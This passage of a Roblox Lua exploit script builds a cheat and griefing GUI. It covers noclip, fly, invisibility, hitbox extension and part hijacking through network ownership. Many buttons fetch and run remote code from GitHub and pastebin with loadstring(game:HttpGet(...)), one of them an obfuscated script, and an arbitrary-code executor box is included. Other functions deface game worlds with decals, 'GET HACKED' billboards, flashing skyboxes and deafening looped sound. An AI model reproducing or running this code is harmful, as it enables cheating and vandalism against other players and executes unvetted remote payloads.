if noclipOn then
hoverHeight = HRP.Position.Y
while noclipOn == true do
task.wait(0.01)
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
local pos = HRP.Position
HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z)
end
Notify("No‑Clip ON (locked at height)", "SYSTEM", 3)
else
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
Notify("No‑Clip OFF", "SYSTEM", 3)
end
end, "Movement", "NOCLIP")
FunctionManager:register("DarkDex", function()
--Maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))()
end, "General", "Take a peek under the hood")
FunctionManager:register("SimpleSpy", function()
--also maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))()
end, "Catch remotes")
FunctionManager:register("Orbit All Nearby Parts", function()
local radius = 20
local height = 3
local orbitSpeed = 2
local speaker = Players.LocalPlayer
local character = speaker.Character or speaker.CharacterAdded:Wait()
local root = character:FindFirstChild("HumanoidRootPart")
if not root then
NotifyERROR("No HumanoidRootPart found.")
return
end
local origin = root.Position
local orbitParts = {}
for _, part in ipairs(workspace:GetDescendants()) do
if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then
local isInCharacter = false
for _, player in ipairs(Players:GetPlayers()) do
local char = player.Character
if char and part:IsDescendantOf(char) then
isInCharacter = true
break
end
end
if not isInCharacter and (part.Position - origin).Magnitude <= radius then
if not CollectionService:HasTag(part, "OrbitPart") then
if part:CanSetNetworkOwnership() then
part:SetNetworkOwner(speaker)
else
warn("Cannot set network owner for part:", part.Name)
end
part.CanCollide = false
CollectionService:AddTag(part, "OrbitPart")
table.insert(orbitParts, part)
end
end
end
end
if #orbitParts == 0 then
warn("No parts found for orbit.")
return
end
local angleOffset = 2 * math.pi / #orbitParts
for i, part in ipairs(orbitParts) do
local angle = angleOffset * i
local startPos = root.Position + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
part.Position = startPos
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5)
bodyGyro.P = 1e4
bodyGyro.CFrame = CFrame.new(part.Position, root.Position)
bodyGyro.Parent = part
local bodyVel = Instance.new("BodyVelocity")
bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5)
bodyVel.P = 1e4
bodyVel.Parent = part
local conn
conn = RunService.Heartbeat:Connect(function(dt)
if not root or not root.Parent then
conn:Disconnect()
return
end
angle += orbitSpeed * dt
local orbitCenter = root.Position
local orbitPoint = orbitCenter + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
local tangent = Vector3.new(
-math.sin(angle),
0,
math.cos(angle)
).Unit * orbitSpeed * radius
bodyVel.Velocity = tangent
bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter)
part.Position = orbitPoint
end)
end
warn("Orbiting", #orbitParts, "parts around you.")
end, "Fun", "You have to be near the parts for a while for it to work")
local function toggleInvisibility()
if invisRunning then return end
invisRunning = true
local player = Players.LocalPlayer
repeat task.wait(0.1) until player.Character
local originalChar = player.Character
originalChar.Archivable = true
local invisibleChar = originalChar:Clone()
invisibleChar.Name = ""
invisibleChar.Parent = Lighting
-- clone transparency
for _, part in ipairs(invisibleChar:GetDescendants()) do
if part:IsA("BasePart") then
part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5
end
end
-- we’ll need these in nested functions:
local isInvis = false
local voidConn, deathConn, steppedConn
-- Respawn helper (puts you back to originalChar)
local function Respawn()
invisRunning = false
if steppedConn then steppedConn:Disconnect() end
if deathConn then deathConn:Disconnect() end
player.Character = originalChar
originalChar.Parent = workspace
-- destroy the extra humanoid
local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid")
if clonedHum then clonedHum:Destroy() end
invisibleChar.Parent = nil
end
-- fix for falling through the void
local voidY = workspace.FallenPartsDestroyHeight
steppedConn = RunService.Stepped:Connect(function()
local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local y = hrp.Position.Y
if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then
Respawn()
end
end)
-- if cloned character dies
local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid")
deathConn = clonedHum.Died:Connect(Respawn)
-- now swap them
local camCF = workspace.CurrentCamera.CFrame
local hrpCF = originalChar.HumanoidRootPart.CFrame
originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0))
workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
task.wait(0.2)
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
invisibleChar.Parent = workspace
invisibleChar.HumanoidRootPart.CFrame = hrpCF
player.Character = invisibleChar
-- re‑enable animations
for _, a in ipairs(player.Character:GetDescendants()) do
if a.Name == "Animate" and a:IsA("Model") then
a.Disabled = true; a.Disabled = false
end
end
workspace.CurrentCamera:remove()
wait(.1)
repeat wait() until player.Character ~= nil
workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
workspace.CurrentCamera.CameraType = "Custom"
player.CameraMinZoomDistance = 0.5
player.CameraMaxZoomDistance = 400
player.CameraMode = "Classic"
player.Character.Head.Anchored = false
player.Character.Animate.Enabled = false
player.Character.Animate.Enabled = true
Notify("You are now invisible!", "System", 3)
end
FunctionManager:register(
"Invisible",
toggleInvisibility,
"Fun",
"Make your character invisible until you respawn or die"
)
FunctionManager:register("Fly", function()
if not HRP then
warn("No HumanoidRootPart found; cannot fly.")
return
end
flyingEnabled = not flyingEnabled
if flyingEnabled then
flyBG = Instance.new("BodyGyro")
flyBG.P = 9e4
flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4)
flyBG.CFrame = HRP.CFrame
flyBG.Parent = HRP
flyBV = Instance.new("BodyVelocity")
flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4)
flyBV.Velocity = Vector3.new(0, 0, 0)
flyBV.Parent = HRP
flyConn = RunService.Heartbeat:Connect(function()
local camCFrame = workspace.CurrentCamera.CFrame
local dir = Vector3.new()
if UserInputService:IsKeyDown(Enum.KeyCode.W) then
dir = dir + camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.S) then
dir = dir - camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.A) then
dir = dir - camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.D) then
dir = dir + camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.Space) then
dir = dir + Vector3.new(0, 1, 0)
end
if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then
dir = dir - Vector3.new(0, 1, 0)
end
if dir.Magnitude > 0 then
dir = dir.Unit * 50
end
flyBV.Velocity = dir
flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector)
end)
else
if flyConn then flyConn:Disconnect() flyConn = nil end
if flyBG then flyBG:Destroy() flyBG = nil end
if flyBV then flyBV:Destroy() flyBV = nil end
end
end, "Movement", "Fly around!")
FunctionManager:register("HatHub", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))()
end, "Troll", "Credits to original maker!")
FunctionManager:register("Hitbox Extender", function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))()
end, "Troll", "Extends hitboxes")
FunctionManager:register("Part Grab", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))()
end, "Troll", "Much better part grab")
FunctionManager:register("Hat Script", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))()
end, "Troll", "HATS")
FunctionManager:register("PART ORBIT", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))()
end, "Troll", "Probs better orbit")
FunctionManager:register("chat unbanner", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))()
end, "Utility", "Credits to the original maker!")
FunctionManager:register("Fling GUI", function()
loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))()
end, "Troll", "Credits to the original maker!")
--init
updateGrid()
end)
end;
task.spawn(C_8);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_a()
local script = G2L["a"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
-- GUI principal
local gui = Instance.new("ScreenGui")
gui.Name = "CustomExecutor"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Ventana principal (más pequeña y semi-transparente)
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 240)
mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BackgroundTransparency = 0.3
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui
-- Título
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 35)
title.BackgroundTransparency = 1
title.BorderSizePixel = 0
title.Text = "join team 1x1x13"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
title.Font = Enum.Font.SourceSansBold
title.Parent = mainFrame
-- Cuadro de texto (fondo negro, más pequeño)
local input = Instance.new("TextBox")
input.Size = UDim2.new(0.9, 0, 0.55, 0)
input.Position = UDim2.new(0.05, 0, 0.18, 0)
input.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
input.BackgroundTransparency = 0
input.BorderSizePixel = 0
input.TextColor3 = Color3.new(1, 1, 1)
input.Text = ""
input.Font = Enum.Font.Code
input.TextWrapped = true
input.TextXAlignment = Enum.TextXAlignment.Left
input.TextYAlignment = Enum.TextYAlignment.Top
input.TextSize = 16
input.ClearTextOnFocus = false
input.MultiLine = true
input.Parent = mainFrame
-- Crear botón
local function createButton(text, position)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 90, 0, 30)
btn.Position = position
btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btn.BackgroundTransparency = 0
btn.BorderSizePixel = 0
btn.Text = text
btn.TextColor3 = Color3.new(1, 1, 1)
btn.TextScaled = true
btn.Font = Enum.Font.SourceSansBold
btn.Parent = mainFrame
return btn
end
-- Botones
local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0))
local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0))
local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0))
-- Funciones
executeBtn.MouseButton1Click:Connect(function()
local code = input.Text
if code and code ~= "" then
pcall(function()
loadstring(code)()
end)
end
end)
r6Btn.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local AvatarEditor = game:GetService("AvatarEditorService")
local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
if _G.AvatarRigPromptUI then return end
_G.AvatarRigPromptUI = true
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local RigUI = Instance.new("ScreenGui")
RigUI.Name = "AvatarRigPromptUI"
RigUI.ResetOnSpawn = false
RigUI.Parent = playerGui
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 200, 0, 100)
MainFrame.Position = UDim2.new(0.5, -100, 0, 20)
MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
MainFrame.Parent = RigUI
local UIStroke = Instance.new("UIStroke")
UIStroke.Thickness = 2
UIStroke.Color = Color3.fromRGB(100, 200, 255)
UIStroke.Parent = MainFrame
local dragActive, dragStart, frameStart
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = true
dragStart = input.Position
frameStart = MainFrame.Position
end
end)
UIS.InputChanged:Connect(function(input)
if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(
frameStart.X.Scale,
frameStart.X.Offset + delta.X,
frameStart.Y.Scale,
frameStart.Y.Offset + delta.Y
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = false
end
end)
local function ExecuteRigChange()
local char = player.Character
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local desc = humanoid.HumanoidDescription:Clone()
AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6)
local result = AvatarEditor.PromptSaveAvatarCompleted:Wait()
if result == Enum.AvatarPromptResult.Success then
humanoid.Health = 0
humanoid:ChangeState(Enum.HumanoidStateType.Dead)
player.CharacterAdded:Wait()
task.wait(1)
local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid")
if newHumanoid then
newHumanoid:ApplyDescription(desc)
newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6)
end
end
end
local R6Button = Instance.new("TextButton")
R6Button.Text = "R6 MODE"
R6Button.Size = UDim2.new(0.9, 0, 0.6, 0)
R6Button.Position = UDim2.new(0.05, 0, 0.2, 0)
R6Button.Font = Enum.Font.GothamBold
R6Button.TextColor3 = Color3.new(1,1,1)
R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200)
R6Button.Parent = MainFrame
R6Button.MouseButton1Click:Connect(function()
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play()
ExecuteRigChange()
task.wait(0.2)
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play()
end)
local CloseButton = Instance.new("TextButton")
CloseButton.Text = "X"
CloseButton.Size = UDim2.new(0, 24, 0, 24)
CloseButton.Position = UDim2.new(1, -26, 0, 2)
CloseButton.Font = Enum.Font.GothamBold
CloseButton.TextColor3 = Color3.new(1, 1, 1)
CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60)
CloseButton.BorderSizePixel = 0
CloseButton.Parent = MainFrame
CloseButton.MouseButton1Click:Connect(function()
RigUI:Destroy()
_G.AvatarRigPromptUI = nil
end)
end)
closeBtn.MouseButton1Click:Connect(function()
gui:Destroy()
end)
end)
end;
task.spawn(C_a);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_c()
local script = G2L["c"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.MouseButton1Down:Connect(function()
local function write(text,object)
if object:IsA("Hint") == true then
local count = object:FindFirstChild("Count")
if count == nil then
count = Instance.new("NumberValue")
count.Parent = object
count.Name = "Count"
count.Value = count.Value + 1
else
count.Value = count.Value + 1
end
local startcount = count.Value
for i = 1,#text do
if count.Value == startcount then
local letter = string.sub(text,i,i)
object.Text = string.sub(text,1,i)
wait(0.001)
else
break
end
end
end
end
local bro = Instance.new("Hint",workspace)
write("TEAM 1x1x13 JOIN TODAY!",bro)
end)
end)
end;
task.spawn(C_c);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_e()
local script = G2L["e"];
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
s.SkyboxBk = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxDn = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxFt = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxLf = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxRt = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxUp = "http://www.roblox.com/asset/?id=100363353303781"
game.Lighting.TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_e);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_10()
local script = G2L["10"];
function click()
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=100363353303781" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Two.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Three.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Four.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Five.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Six.Texture = "http://www.roblox.com/asset/?id=100363353303781"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_10);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_12()
local script = G2L["12"];
---by 777 plz dont6 leak
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
end;
task.spawn(C_12);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_14()
local script = G2L["14"];
script.Parent.MouseButton1Down:Connect(function()
imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end
end)
end;
task.spawn(C_14);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_16()
local script = G2L["16"];
function click()
Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_16);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_18()
local script = G2L["18"];
script.Parent.MouseButton1Click:Connect(function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='GET HACKED MY TEAM 1x1x13 JOIN TODAY';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1, 0.933333, 0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Fire Yellow';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1, 0.968627, 0);
a.Range=15;
a.Brightness=5;
end;
local dec = 'http://www.roblox.com/asset/?id=19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for ,_ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face =
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
end)
end;
task.spawn(C_18);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_1a()
local script = G2L["1a"];
function onClick()
local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079"
uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_1a);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_1c()
local script = G2L["1c"];
function click()
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Two.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Three.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Four.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Five.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Six.Texture = "http://www.roblox.com/asset/?id=111604272791927"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
